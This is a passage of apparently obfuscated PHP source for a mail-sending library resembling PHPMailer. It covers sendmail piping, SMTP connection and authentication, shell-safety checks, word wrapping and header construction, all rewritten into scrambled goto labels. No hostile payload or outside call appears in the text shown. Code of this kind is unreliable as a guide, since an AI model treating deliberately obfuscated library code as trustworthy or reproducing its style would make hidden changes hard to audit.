$sendmailFmt = "%s -oi -f%s -t"; goto eRWO7; pf1U7: $this->doCallback($result == 0, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From, []); goto KCu97; EBdgd: dysnx: goto XGZpS; idyxx: fwrite($mail, $header); goto YTJW2; oYsIh: if ("qmail" == $this->Mailer) { goto R3fTK; } goto ARypA; UZ4AT: prIrH: goto idyxx; hIKam: throw new Exception($this->lang("execute") . $this->Sendmail, self::STOP_CRITICAL); goto UZ4AT; Vxpi0: a7JjH: goto MBi5r; ekwkP: $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender); goto q4iRZ; Ytif0: hCSCU: goto K0zzs; K0zzs: goto a7JjH; goto cws3H; MBi5r: return true; goto sEM3e; MGzPS: goto aCpTe; goto kmShi; li_tN: if ($mail) { goto prIrH; } goto hIKam; cws3H: NzqM7: goto p7NQz; m9jrS: throw new Exception($this->lang("execute") . $this->Sendmail, self::STOP_CRITICAL); goto Ytif0; q4iRZ: if ($this->SingleTo) { goto NzqM7; } goto DXe9y; zWV8Q: if ("qmail" == $this->Mailer) { goto dysnx; } goto Bj0ZI; ARypA: $sendmailFmt = "%s -oi -t"; goto MGzPS; eRWO7: goto dCXL3; goto EBdgd; YTJW2: fwrite($mail, $body); goto qRPUR; Zunrr: $sendmailFmt = "%s"; goto WioYz; uxev2: TAluN: goto ekwkP; qRPUR: $result = pclose($mail); goto pf1U7; kmShi: R3fTK: goto Zunrr; WioYz: aCpTe: goto vP_mu; vP_mu: goto TAluN; goto wQwuQ; XGZpS: $sendmailFmt = "%s -f%s"; goto ffqe6; DXe9y: $mail = @popen($sendmail, "w"); goto li_tN; wQwuQ: FnB1E: goto zWV8Q; E8ozq: OSYjE: goto Vxpi0; ffqe6: dCXL3: goto uxev2; p7NQz: foreach ($this->SingleToArray as $toAddr) { goto f0VG0; OKuKq: if ($mail) { goto m2tej; } goto KZjMH; CFy3L: E_lCS: goto BAH8c; ibjW4: throw new Exception($this->lang("execute") . $this->Sendmail, self::STOP_CRITICAL); goto fV5sf; f0VG0: $mail = @popen($sendmail, "w"); goto OKuKq; evjbK: m2tej: goto icqCf; poKYl: $this->doCallback($result == 0, [$toAddr], $this->cc, $this->bcc, $this->Subject, $body, $this->From, []); goto IEZ6V; aNxnZ: fwrite($mail, $header); goto ybb3R; IEZ6V: if (!(0 !== $result)) { goto dAZEW; } goto ibjW4; ybb3R: fwrite($mail, $body); goto cZPcO; cZPcO: $result = pclose($mail); goto poKYl; fV5sf: dAZEW: goto CFy3L; KZjMH: throw new Exception($this->lang("execute") . $this->Sendmail, self::STOP_CRITICAL); goto evjbK; icqCf: fwrite($mail, "To: " . $toAddr . "
"); goto aNxnZ; BAH8c: } goto E8ozq; KCu97: if (!(0 !== $result)) { goto hCSCU; } goto m9jrS; sEM3e: } protected static function isShellSafe($string) { goto y1Pnn; vkfnG: return false; goto fEth2; L4c7j: $c = $string[$i]; goto VNY9j; BIeZb: cAYfc: goto szGEC; MQso2: goto xo7Mg; goto SvN0X; szGEC: ++$i; goto MQso2; VNY9j: if (!(!ctype_alnum($c) && strpos("@_-.", $c) === false)) { goto B6Cq0; } goto vkfnG; SvN0X: MbmZ8: goto UgJVS; Oc1Ex: $i = 0; goto v56RZ; UgJVS: return true; goto ue2C4; aLQzP: JFoA3: goto gt17O; y1Pnn: if (!(escapeshellcmd($string) !== $string or !in_array(escapeshellarg($string), ["'{$string}'", ""{$string}""]))) { goto JFoA3; } goto QT2S1; v56RZ: xo7Mg: goto WFrs9; gt17O: $length = strlen($string); goto Oc1Ex; fEth2: B6Cq0: goto BIeZb; WFrs9: if (!($i < $length)) { goto MbmZ8; } goto L4c7j; QT2S1: return false; goto aLQzP; ue2C4: } protected static function isPermittedPath($path) { return !preg_match("#^[a-z]+://#i", $path); } protected function mailSend($header, $body) { goto uJaLU; dV9ir: $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params); goto CCwnn; WGr6q: owHm8: goto yV3pX; U_rXp: $result = false; goto JbQt_; BW2vF: $to = implode(", ", $toArr); goto Gzd2k; EI10E: tYW4s: goto hz618; Zyvwk: HsDh4: goto U_rXp; F5Qw8: mvzko: goto gXmmg; hz618: TzvKM: goto JW7h3; mwVTb: throw new Exception($this->lang("instantiate"), self::STOP_CRITICAL); goto WGr6q; BV0Ck: foreach ($toArr as $toAddr) { goto z6SCK; oOJDm: $this->doCallback($result, [$toAddr], $this->cc, $this->bcc, $this->Subject, $body, $this->From, []); goto HyzGn; z6SCK: $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params); goto oOJDm; HyzGn: UaN_4: goto CbCsD; CbCsD: } goto EI10E; nyL6k: PIJs3: goto YoiEK; bPK82: $params = sprintf("-f%s", $this->Sender); goto fPb_T; q9YtK: foreach ($this->to as $toaddr) { $toArr[] = $this->addrFormat($toaddr); y1Ocp: } goto YNxJ2; fPb_T: ivUhs: goto nyL6k; hrjE5: ini_set("sendmail_from", $old_from); goto F5Qw8; JbQt_: if ($this->SingleTo and count($toArr) > 1) { goto uFVcN; } goto dV9ir; yV3pX: return true; goto XeIfk; ITMWj: ini_set("sendmail_from", $this->Sender); goto Zyvwk; IYW2Q: goto TzvKM; goto Mq2_J; YoiEK: if (!(!empty($this->Sender) and static::validateAddress($this->Sender))) { goto HsDh4; } goto FHEnD; ZejrZ: if (!self::isShellSafe($this->Sender)) { goto ivUhs; } goto bPK82; CCwnn: $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From, []); goto IYW2Q; uJaLU: $toArr = []; goto q9YtK; FHEnD: $old_from = ini_get("sendmail_from"); goto ITMWj; YNxJ2: nW0ks: goto BW2vF; JW7h3: if (!isset($old_from)) { goto mvzko; } goto hrjE5; Cz8HN: if (!(!empty($this->Sender) and static::validateAddress($this->Sender))) { goto PIJs3; } goto ZejrZ; Mq2_J: uFVcN: goto BV0Ck; gXmmg: if ($result) { goto owHm8; } goto mwVTb; Gzd2k: $params = null; goto Cz8HN; XeIfk: } public function getSMTPInstance() { goto gujgb; gujgb: if (is_object($this->smtp)) { goto grYva; } goto HmYmF; YI5w2: return $this->smtp; goto draQ_; rZkxB: grYva: goto YI5w2; HmYmF: $this->smtp = new SMTP(); goto rZkxB; draQ_: } public function setSMTPInstance(SMTP $smtp) { $this->smtp = $smtp; return $this->smtp; } protected function smtpSend($header, $body) { goto thaZr; jjyvh: if ($this->smtp->mail($smtp_from)) { goto jLkz_; } goto kvG11; Dvkyu: MUbZn: goto SRANX; rswnI: if (!(count($bad_rcpt) > 0)) { goto MUbZn; } goto HIyrh; ZOeIg: if ($this->SMTPKeepAlive) { goto oopsJ; } goto PP8Gd; t4VbC: $this->smtp->reset(); goto bOtjh; JfUPu: goto BSTFg; goto ydSOZ; PP8Gd: $this->smtp->quit(); goto sKJh2; UGH5_: foreach ($callbacks as $cb) { $this->doCallback($cb["issent"], [$cb["to"]], [], [], $this->Subject, $body, $this->From, ["smtp_transaction_id" => $smtp_transaction_id]); JuCir: } goto PvsDc; Qcu0X: throw new Exception($this->ErrorInfo, self::STOP_CRITICAL); goto iSrM1; xECoH: AYCO1: goto vNTvk; DBOmT: oopsJ: goto t4VbC; SRANX: return true; goto tcxku; c4_tG: vEd6S: goto KUS4_; eKDeY: foreach ($bad_rcpt as $bad) { $errstr .= $bad["to"] . ": " . $bad["error"]; s5C82: } goto t9ofB; I3mHG: throw new Exception($this->lang("recipients_failed") . $errstr, self::STOP_CONTINUE); goto Dvkyu; vNTvk: if (!(count($this->all_recipients) > count($bad_rcpt) and !$this->smtp->data($header . $body))) { goto aC2k0; } goto Karol; thaZr: $bad_rcpt = []; goto zGemK; UBKUJ: foreach ([$this->to, $this->cc, $this->bcc] as $togroup) { goto xh_Cq; xh_Cq: foreach ($togroup as $to) { goto XyCma; n3OB6: kzZM8: goto I4QBG; awAor: $isSent = false; goto Za_EF; F3S4v: $bad_rcpt[] = ["to" => $to[0], "error" => $error["detail"]]; goto awAor; aqawY: iAejy: goto hakWE; Za_EF: Y_jlp: goto gnqlb; ZidYJ: goto Y_jlp; goto aqawY; gnqlb: $callbacks[] = ["issent" => $isSent, "to" => $to[0]]; goto n3OB6; kqPbw: $isSent = true; goto ZidYJ; XyCma: if (!$this->smtp->recipient($to[0], $this->dsn)) { goto iAejy; } goto kqPbw; hakWE: $error = $this->smtp->getError(); goto F3S4v; I4QBG: } goto JLkIJ; fhFUA: Y2Cm9: goto ulKFG; JLkIJ: cibLk: goto fhFUA; ulKFG: } goto xECoH; KUS4_: if ('' == $this->Sender) { goto w0ilg; } goto mTVn0; RWLY0: BSTFg: goto jjyvh; kvG11: $this->setError($this->lang("from_failed") . $smtp_from . " : " . implode(",", $this->smtp->getError())); goto Qcu0X; t9ofB: wPPAL: goto I3mHG; zJ1IJ: $smtp_from = $this->From; goto RWLY0; bOtjh: zzGfy: goto UGH5_; HIyrh: $errstr = ''; goto eKDeY; zGemK: if ($this->smtpConnect($this->SMTPOptions)) { goto vEd6S; } goto ZddZO; iSrM1: jLkz_: goto oSYhH; ZddZO: throw new Exception($this->lang("smtp_connect_failed"), self::STOP_CRITICAL); goto c4_tG; PvsDc: I8rrM: goto rswnI; mTVn0: $smtp_from = $this->Sender; goto JfUPu; rjx5I: aC2k0: goto xAP8D; ydSOZ: w0ilg: goto zJ1IJ; fIoF6: goto zzGfy; goto DBOmT; xAP8D: $smtp_transaction_id = $this->smtp->getLastTransactionID(); goto ZOeIg; oSYhH: $callbacks = []; goto UBKUJ; sKJh2: $this->smtp->close(); goto fIoF6; Karol: throw new Exception($this->lang("data_not_accepted"), self::STOP_CRITICAL); goto rjx5I; tcxku: } public function smtpConnect($options = null) { goto HZDcz; jhBqB: $this->smtp->close(); goto FT3aE; yYZVv: $hosts = explode(";", $this->Host); goto JWLuM; E9Ozv: return true; goto gNQ88; IeXc_: throw $lastexception; goto caak1; gNQ88: TwXvc: goto VDqJ4; HZDcz: if (!(null === $this->smtp)) { goto evCta; } goto jZDSB; fTm18: foreach ($hosts as $hostentry) { goto IX7bt; B4zzU: $port = $this->Port; goto heSTG; r4H9Q: if (!($tport > 0 and $tport < 65536)) { goto Gj4FL; } goto qpjIs; heSTG: $tport = (int) $hostinfo[4]; goto r4H9Q; YoSzH: goto FE3Db; goto sjYhm; GNCsI: nunBH: goto DmyH1; yhHim: RiO5w: goto lkN7A; ChXLz: wR8Rd: goto GrbRX; fdiiv: $prefix = "ssl://"; goto M8Oex; be9VU: $tls = true; goto C0Bno; IX7bt: $hostinfo = []; goto nMnbg; m8_pL: goto v6nNk; goto JhvF2; q_LY9: try { goto xgXPE; xgXPE: if ($this->Helo) { goto lCEfe; } goto Wevtj; ZYb_k: throw new Exception($this->lang("authenticate")); goto jL4v1; DdWrJ: OdQsb: goto mo9JA; jL4v1: HKebn: goto DdWrJ; Wevtj: $hello = $this->serverHostname(); goto D9OEi; FYY4m: throw new Exception($this->lang("connect_host")); goto L6rxq; nEzFE: if (!$this->SMTPAuth) { goto OdQsb; } goto W2TQU; RtVvc: $this->smtp->hello($hello); goto gDcIS; mo9JA: return true; goto CjEqz; dGVTe: zNcYM: goto m0xEm; m0xEm: if (!$tls) { goto Xwbgm; } goto ekSI1; MwxgO: MrGht: goto RtVvc; vqv0M: Xwbgm: goto nEzFE; D9OEi: goto MrGht; goto We6bn; p0ePi: $hello = $this->Helo; goto MwxgO; We6bn: lCEfe: goto p0ePi; ekSI1: if ($this->smtp->startTLS()) { goto UCwOT; } goto FYY4m; gDcIS: if (!($this->SMTPAutoTLS and $sslext and "ssl" != $secure and $this->smtp->getServerExt("STARTTLS"))) { goto zNcYM; } goto EyiCh; okuGn: $this->smtp->hello($hello); goto vqv0M; L6rxq: UCwOT: goto okuGn; W2TQU: if ($this->smtp->authenticate($this->Username, $this->Password, $this->AuthType, $this->oauth)) { goto HKebn; } goto ZYb_k; EyiCh: $tls = true; goto dGVTe; CjEqz: } catch (Exception $exc) { goto Wkkal; N19lE: $this->smtp->quit(); goto ZNz3a; Rg_Wm: $this->edebug($exc->getMessage()); goto N19lE; Wkkal: $lastexception = $exc; goto Rg_Wm; ZNz3a: } goto ChXLz; M8Oex: $tls = false; goto JAqf3; LYcwG: if (!$this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) { goto wR8Rd; } goto q_LY9; nMnbg: if (preg_match("/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*|\[[a-fA-F0-9:]+\]):?([0-9]*)$/", trim($hostentry), $hostinfo)) { goto nunBH; } goto LuFe1; qpjIs: $port = $tport; goto Gmgai; leQbb: $host = $hostinfo[3]; goto B4zzU; grIoj: $secure = $this->SMTPSecure; goto ndiak; Hu3Jd: U3fbM: goto fdiiv; sjYhm: hR64X: goto f9RsH; ovkBM: goto v6nNk; goto Hu3Jd; V8pHS: throw new Exception($this->lang("extension_missing") . "openssl", self::STOP_CRITICAL); goto yhHim; f9RsH: $prefix = ''; goto grIoj; bi15k: static::edebug($this->lang("connect_host") . " " . $hostentry); goto YoSzH; C0Bno: $secure = "tls"; goto EyAjq; DmyH1: if (static::isValidHost($hostinfo[3])) { goto hR64X; } goto bi15k; LuFe1: static::edebug($this->lang("connect_host") . " " . $hostentry); goto Q47h1; EyAjq: v6nNk: goto SWRls; Gmgai: Gj4FL: goto LYcwG; ndiak: $tls = "tls" == $this->SMTPSecure; goto Z7JLR; Z7JLR: if ("ssl" == $hostinfo[2] or '' == $hostinfo[2] and "ssl" == $this->SMTPSecure) { goto U3fbM; } goto U52Ha; SWRls: $sslext = defined("OPENSSL_ALGO_SHA256"); goto jOODb; GrbRX: FE3Db: goto jvcOU; JhvF2: D0Dl7: goto be9VU; Q47h1: goto FE3Db; goto GNCsI; jOODb: if (!("tls" === $secure or "ssl" === $secure)) { goto Ehcp0; } goto Hn1RU; JAqf3: $secure = "ssl"; goto m8_pL; lkN7A: Ehcp0: goto leQbb; Hn1RU: if ($sslext) { goto RiO5w; } goto V8pHS; U52Ha: if ("tls" == $hostinfo[2]) { goto D0Dl7; } goto ovkBM; jvcOU: } goto EFu69; MEsgC: if (!$this->smtp->connected()) { goto TwXvc; } goto E9Ozv; re3pF: qOqyC: goto MEsgC; EtCSF: $this->smtp->setVerp($this->do_verp); goto yYZVv; jZDSB: $this->smtp = $this->getSMTPInstance(); goto qZUHe; WRBji: $this->smtp->setDebugLevel($this->SMTPDebug); goto Mpsl1; Mpsl1: $this->smtp->setDebugOutput($this->Debugoutput); goto EtCSF; XVw8L: $options = $this->SMTPOptions; goto re3pF; caak1: LisBf: goto zElSr; e9VD1: if (!(null === $options)) { goto qOqyC; } goto XVw8L; FT3aE: if (!($this->exceptions and null !== $lastexception)) { goto LisBf; } goto IeXc_; qZUHe: evCta: goto e9VD1; EFu69: JnPOS: goto jhBqB; VDqJ4: $this->smtp->setTimeout($this->Timeout); goto WRBji; zElSr: return false; goto mvJ4t; JWLuM: $lastexception = null; goto fTm18; mvJ4t: } public function smtpClose() { goto g2Npl; PK9D3: sICq2: goto ITYrT; OhVA_: $this->smtp->close(); goto waWCG; aoa91: if (!$this->smtp->connected()) { goto mRaq8; } goto XO1z9; waWCG: mRaq8: goto PK9D3; g2Npl: if (!(null !== $this->smtp)) { goto sICq2; } goto aoa91; XO1z9: $this->smtp->quit(); goto OhVA_; ITYrT: } public function setLanguage($langcode = "en", $lang_path = '') { goto V6x44; H6vtI: return (bool) $foundlang; goto ML4P7; wbFvd: lvTCP: goto RTmm4; QFZsQ: uDh6t: goto guZnj; PSRZw: if (preg_match("/^[a-z]{2}(?:_[a-zA-Z]{2})?$/", $langcode)) { goto uDh6t; } goto d3R08; nwfJM: $foundlang = false; goto wbFvd; EYLha: $this->language = $PHPMAILER_LANG; goto H6vtI; R_Mqr: EdNQo: goto PSRZw; CfjSQ: if (!isset($renamed_langcodes[$langcode])) { goto g5h22; } goto i63iF; V6x44: $renamed_langcodes = ["br" => "pt_br", "cz" => "cs", "dk" => "da", "no" => "nb", "se" => "sv", "rs" => "sr", "tg" => "tl"]; goto CfjSQ; i63iF: $langcode = $renamed_langcodes[$langcode]; goto DWxjH; d3R08: $langcode = "en"; goto QFZsQ; Z30RU: goto lvTCP; goto M1mSS; vg9Do: if (!static::isPermittedPath($lang_file) || !file_exists($lang_file)) { goto lf2SL; } goto NHOBT; M1mSS: lf2SL: goto nwfJM; NHOBT: $foundlang = (include $lang_file); goto Z30RU; pAp3H: $lang_path = dirname(__DIR__) . DIRECTORY_SEPARATOR . "language" . DIRECTORY_SEPARATOR; goto R_Mqr; FPIXe: $PHPMAILER_LANG = ["authenticate" => "SMTP Error: Could not authenticate.", "connect_host" => "SMTP Error: Could not connect to SMTP host.", "data_not_accepted" => "SMTP Error: data not accepted.", "empty_message" => "Message body empty", "encoding" => "Unknown encoding: ", "execute" => "Could not execute: ", "file_access" => "Could not access file: ", "file_open" => "File Error: Could not open file: ", "from_failed" => "The following From address failed: ", "instantiate" => "Could not instantiate mail function.", "invalid_address" => "Invalid address: ", "mailer_not_supported" => " mailer is not supported.", "provide_address" => "You must provide at least one recipient email address.", "recipients_failed" => "SMTP Error: The following recipients failed: ", "signing" => "Signing Error: ", "smtp_connect_failed" => "SMTP connect() failed.", "smtp_error" => "SMTP server error: ", "variable_set" => "Cannot set or reset variable: ", "extension_missing" => "Extension missing: "]; goto cP1Vx; RU2IS: if (!("en" != $langcode)) { goto SVbzF; } goto vg9Do; RTmm4: SVbzF: goto EYLha; guZnj: $foundlang = true; goto hJox9; hJox9: $lang_file = $lang_path . "phpmailer.lang-" . $langcode . ".php"; goto RU2IS; cP1Vx: if (!empty($lang_path)) { goto EdNQo; } goto pAp3H; DWxjH: g5h22: goto FPIXe; ML4P7: } public function getTranslations() { return $this->language; } public function addrAppend($type, $addr) { goto fPYbs; fPYbs: $addresses = []; goto zTO6A; zTO6A: foreach ($addr as $address) { $addresses[] = $this->addrFormat($address); EE6Hq: } goto TTX4Y; wX3yn: return $type . ": " . implode(", ", $addresses) . static::$LE; goto dkTCF; TTX4Y: hwcvg: goto wX3yn; dkTCF: } public function addrFormat($addr) { goto R82M0; R82M0: if (!empty($addr[1])) { goto JthyE; } goto zquzK; xN9nd: JthyE: goto CJ3jx; zquzK: return $this->secureHeader($addr[0]); goto xN9nd; CJ3jx: return $this->encodeHeader($this->secureHeader($addr[1]), "phrase") . " <" . $this->secureHeader($addr[0]) . ">"; goto hjUXy; hjUXy: } public function wrapText($message, $length, $qp_mode = false) { goto rrpsB; yIuWo: dmZDI: goto HFSV7; pMwJH: $message = substr($message, 0, -$lelen); goto NG3iy; HFSV7: return $message; goto cN7WJ; ainzK: $crlflen = strlen(static::$LE); goto iJ71a; NG3iy: NAlm2: goto oK8P9; Od4DF: $lelen = strlen(static::$LE); goto ainzK; iJ71a: $message = static::normalizeBreaks($message); goto ibTzI; oK8P9: $lines = explode(static::$LE, $message); goto lg2qa; LsEgx: foreach ($lines as $line) { goto Kp3PV; Kp3PV: $words = explode(" ", $line); goto fRLQj; u15qz: $message .= $buf . static::$LE; goto JEeJO; xBR32: foreach ($words as $word) { goto Ci6hM; g3D4E: $message .= $buf . $soft_break; goto QMRgU; B9jMt: TJNq7: goto YETT2; vgo69: $buf = ''; goto KP_xm; UYjzC: if ("=" == substr($word, $len - 1, 1)) { goto So8pw; } goto vIIrD; kxryD: a9sx5: goto vgo69; lrFIk: if (!(strlen($word) > 0)) { goto poL2R; } goto JMLhY; agZTS: mAEcG: goto Aolli; qcO7z: $buf_o = $buf; goto j2vjv; uMBQR: v0FBO: goto qqq_1; IjfXu: --$len; goto MaiDX; W4DN3: alhQM: goto wbps2; cpzHE: S4L2O: goto Qvzlo; vwXNk: KfFbP: goto fVDrW; jj8fH: rDFGQ: goto lrFIk; P5R1a: JkJCv: goto PBX_n; HxQZS: poL2R: goto agZTS; gHotI: Xa5Iv: goto e3IP3; q0Hj4: $buf .= " "; goto wl5R4; OCq_N: qTmax: goto KZmm_; K6gKS: goto WibEM; goto uLLvv; bCwVI: $len = $length; goto EWCGZ; mq27o: So8pw: goto IjfXu; KV8Jt: $word = substr($word, $len); goto Bdkks; H8TF7: if ("=" == substr($word, $len - 2, 1)) { goto TJNq7; } goto Y2cAE; Y2cAE: goto JkJCv; goto vwXNk; jqrv9: goto qTmax; goto mq27o; PBX_n: $part = substr($word, 0, $len); goto MvJsD; MaiDX: goto qTmax; goto cpzHE; Ci6hM: if ($qp_mode and strlen($word) > $length) { goto v0FBO; } goto qcO7z; mzb0I: $buf = $part; goto K6gKS; WkvRT: $message .= $buf_o . $soft_break; goto r3Wtk; MfDdB: goto poL2R; goto DUEzS; AuSib: if (!(strlen($buf) > $length and '' != $buf_o)) { goto BEc_K; } goto WkvRT; qqq_1: $space_left = $length - strlen($buf) - $crlflen; goto UaiNf; UaiNf: if ($firstword) { goto J_9Ly; } goto IkWu9; Qvzlo: $len -= 2; goto OCq_N; r8nV1: if (strlen($word) > 0) { goto asaMG; } goto mzb0I; YDBPi: if ($is_utf8) { goto RR2w5; } goto UYjzC; JMLhY: if (!($length <= 0)) { goto ufpLz; } goto MfDdB; j2vjv: if ($firstword) { goto UmLgG; } goto q0Hj4; DUEzS: ufpLz: goto bCwVI; IkWu9: if ($space_left > 20) { goto Xa5Iv; } goto g3D4E; vIIrD: if ("=" == substr($word, $len - 2, 1)) { goto S4L2O; } goto Tpmub; wl5R4: UmLgG: goto RNGtD; zTH42: BEc_K: goto PHTDp; KZmm_: $part = substr($word, 0, $len); goto KV8Jt; ErWqQ: goto JkJCv; goto zcXqH; PHTDp: goto mAEcG; goto uMBQR; SI0z8: WibEM: goto VsLKc; YETT2: $len -= 2; goto P5R1a; sRRAp: $message .= $part . sprintf("=%s", static::$LE); goto SI0z8; EWCGZ: if ($is_utf8) { goto KfFbP; } goto IITTO; uLLvv: asaMG: goto sRRAp; Bdkks: $buf .= " " . $part; goto JQ5rc; RNGtD: $buf .= $word; goto AuSib; JQ5rc: $message .= $buf . sprintf("=%s", static::$LE); goto kxryD; VsLKc: goto rDFGQ; goto HxQZS; fVCVt: goto JkJCv; goto B9jMt; KP_xm: J_9Ly: goto jj8fH; qt73p: RR2w5: goto DeCIy; zcXqH: mcauN: goto L_0uw; Aolli: $firstword = false; goto W4DN3; QMRgU: goto a9sx5; goto gHotI; IITTO: if ("=" == substr($word, $len - 1, 1)) { goto mcauN; } goto H8TF7; r3Wtk: $buf = $word; goto zTH42; Tpmub: goto qTmax; goto qt73p; DeCIy: $len = $this->utf8CharBoundary($word, $len); goto jqrv9; MvJsD: $word = substr($word, $len); goto r8nV1; e3IP3: $len = $space_left; goto YDBPi; fVDrW: $len = $this->utf8CharBoundary($word, $len); goto ErWqQ; L_0uw: --$len; goto fVCVt; wbps2: } goto qeqJ_; Jp21l: $firstword = true; goto xBR32; qeqJ_: RDRcF: goto u15qz; JEeJO: zcDQE: goto YrkUy; fRLQj: $buf = ''; goto Jp21l; YrkUy: } goto yIuWo; O1cy9: PyaVf: goto iW74q; rrpsB: if ($qp_mode) { goto dK3ZI; } goto UMEaK; lg2qa: $message = ''; goto LsEgx; iW74q: $is_utf8 = static::CHARSET_UTF8 === strtolower($this->CharSet); goto Od4DF; UMEaK: $soft_break = static::$LE; goto aUKci; W_7Qh: dK3ZI: goto lKwrn; lKwrn: $soft_break = sprintf(" =%s", static::$LE); goto O1cy9; aUKci: goto PyaVf; goto W_7Qh; ibTzI: if (!(substr($message, -$lelen) == static::$LE)) { goto NAlm2; } goto pMwJH; cN7WJ: } public function utf8CharBoundary($encodedText, $maxLength) { goto Ph2Qk; Ln2IB: if ($dec >= 192) { goto EAHdn; } goto F7iz5; D2Ovn: goto kyeEi; goto BLe5c; xFoIP: if ($foundSplitPos) { goto NRebK; } goto Sg_Ar; Bxq1U: if (!($encodedCharPos > 0)) { goto eiBSG; } goto tmVBE; tmVBE: $maxLength -= $lookBack - $encodedCharPos; goto xwWac; iYulO: fI18q: goto U30Wy; Ph2Qk: $foundSplitPos = false; goto YxnGh; xwWac: eiBSG: goto XxUYX; JWVHH: $foundSplitPos = true; goto pF4IX; pF4IX: goto kyeEi; goto iYulO; lZm5o: goto ABEn1; goto TEvSj; cX34v: $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2); goto DvIpE; XxUYX: $foundSplitPos = true; goto D2Ovn; S_TYb: goto AmE6l; goto t05Kx; DvIpE: $dec = hexdec($hex); goto jdd85; Es7WF: wKDzP: goto Bxq1U; wAGF2: kyeEi: goto ltTTb; YxnGh: $lookBack = 3; goto ofa4l; NPVZc: $encodedCharPos = strpos($lastChunk, "="); goto FVI4h; U30Wy: $lookBack += 3; goto wAGF2; Sg_Ar: $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack); goto NPVZc; ltTTb: ABEn1: goto S_TYb; t05Kx: NRebK: goto Rg4D0; FVI4h: if (false !== $encodedCharPos) { goto VzpEq; } goto SEwhz; SEwhz: $foundSplitPos = true; goto lZm5o; FvbOx: goto kyeEi; goto Es7WF; BLe5c: EAHdn: goto kjtHW; ofa4l: AmE6l: goto xFoIP; kjtHW: $maxLength -= $lookBack - $encodedCharPos; goto JWVHH; F7iz5: if ($dec < 192) { goto fI18q; } goto FvbOx; TEvSj: VzpEq: goto cX34v; Rg4D0: return $maxLength; goto NtwIO; jdd85: if ($dec < 128) { goto wKDzP; } goto Ln2IB; NtwIO: } public function setWordWrap() { goto FhRyC; y8dSz: return; goto p3xax; UvPEi: switch ($this->message_type) { case "alt": case "alt_inline": case "alt_attach": case "alt_inline_attach": $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap); goto Yukrr; default: $this->Body = $this->wrapText($this->Body, $this->WordWrap); goto Yukrr; } goto oorXO; iSw1k: Yukrr: goto kSO8e; oorXO: zCTC1: goto iSw1k; FhRyC: if (!($this->WordWrap < 1)) { goto p_CGg; } goto y8dSz; p3xax: p_CGg: goto UvPEi; kSO8e: } public function createHeader() { goto a42y7; aBs31: mvPXr: goto jlB7z; UK6h4: tK281: goto W0PAZ; UBr4P: goto mvPXr; goto Qwyk1; cMUmf: goto G9Vcf; goto dVQmF; q2SuL: G9Vcf: goto XpUA_; w8_kY: H_orN: goto vzr0f; d7cJg: goto cXqvk; goto UK6h4; FSxTP: $this->lastMessageID = sprintf("<%s@%s>", $this->uniqueid, $this->serverHostname()); goto cMUmf; if1NF: if (count($this->to) > 0) { goto AaxfF; } goto LFMQu; NV30U: if (!(count($this->cc) > 0)) { goto zktlh; } goto YemQc; a42y7: $result = ''; goto H0NxH; ayPFL: if (!$myXmailer) { goto nbvY2; } goto A4OXI; dVQmF: Aysbp: goto ldTwr; v7ZXI: DFthe: goto V7ggG; jxggE: foreach ($this->to as $toaddr) { $this->SingleToArray[] = $this->addrFormat($toaddr); xbtqJ: } goto liP30; A4OXI: $result .= $this->headerLine("X-Mailer", $myXmailer); goto OEAw1; pDNxr: if ('' != $this->MessageID and preg_match("/^<.*@.*>$/", $this->MessageID)) { goto Aysbp; } goto FSxTP; TXOOR: $result .= $this->getMailMIME(); goto v7ZXI; UMTPl: if (!(("sendmail" == $this->Mailer or "qmail" == $this->Mailer or "mail" == $this->Mailer) and count($this->bcc) > 0)) { goto kJu1C; } goto Vg_zs; t7ag2: eQaaH: goto qFwtY; W0PAZ: $result .= $this->headerLine("X-Mailer", "PHPMailer " . self::VERSION); goto jAOAL; WjO9B: $result .= $this->headerLine("X-Priority", $this->Priority); goto w8_kY; B_Ute: if (!("mail" != $this->Mailer)) { goto LwMv9; } goto LZeZH; q34Ni: kJu1C: goto QCUtY; rYLYn: if (!(null !== $this->Priority)) { goto H_orN; } goto WjO9B; gjIUk: $result .= $this->headerLine("Subject", $this->encodeHeader($this->secureHeader($this->Subject))); goto C63Ka; liP30: gsL1j: goto E7sfX; Qwyk1: AaxfF: goto B_Ute; uh7oR: if ($this->sign_key_file) { goto DFthe; } goto p5zVu; E7bP4: Kg6yi: goto jcALT; lm2hG: J2MlY: goto ttDmK; lsGfR: zktlh: goto UMTPl; LFMQu: if (count($this->cc) == 0) { goto Kg6yi; } goto UBr4P; Se5Br: $result .= $this->addrAppend("From", [[trim($this->From), $this->FromName]]); goto NV30U; XpUA_: $result .= $this->headerLine("Message-ID", $this->lastMessageID); goto rYLYn; JEySu: foreach ($this->CustomHeader as $header) { $result .= $this->headerLine(trim($header[0]), $this->encodeHeader(trim($header[1]))); F7lRQ: } goto L8O6w; QCUtY: if (!(count($this->ReplyTo) > 0)) { goto eQaaH; } goto wCf00; H0NxH: $result .= $this->headerLine("Date", '' == $this->MessageDate ? self::rfcDate() : $this->MessageDate); goto uJVpM; wCf00: $result .= $this->addrAppend("Reply-To", $this->ReplyTo); goto t7ag2; luvEx: goto mvPXr; goto E7bP4; OEAw1: nbvY2: goto d7cJg; E7sfX: R_68I: goto SkknN; henMS: LwMv9: goto luvEx; W_4Nw: $myXmailer = trim($this->XMailer); goto ayPFL; Vg_zs: $result .= $this->addrAppend("Bcc", $this->bcc); goto q34Ni; jlB7z: goto uAlch; goto lm2hG; GGj3N: $result .= $this->headerLine("Disposition-Notification-To", "<" . $this->ConfirmReadingTo . ">"); goto Q2uGo; V7ggG: return $result; goto dSXuB; uJVpM: if ($this->SingleTo) { goto J2MlY; } goto if1NF; L8O6w: eSV_I: goto uh7oR; Q2uGo: A1GuL: goto JEySu; C63Ka: aukkf: goto pDNxr; SkknN: uAlch: goto Se5Br; qFwtY: if (!("mail" != $this->Mailer)) { goto aukkf; } goto gjIUk; p5zVu: $result .= $this->headerLine("MIME-Version", "1.0"); goto TXOOR; jcALT: $result .= $this->headerLine("To", "undisclosed-recipients:;"); goto aBs31; fIxiS: if (!('' != 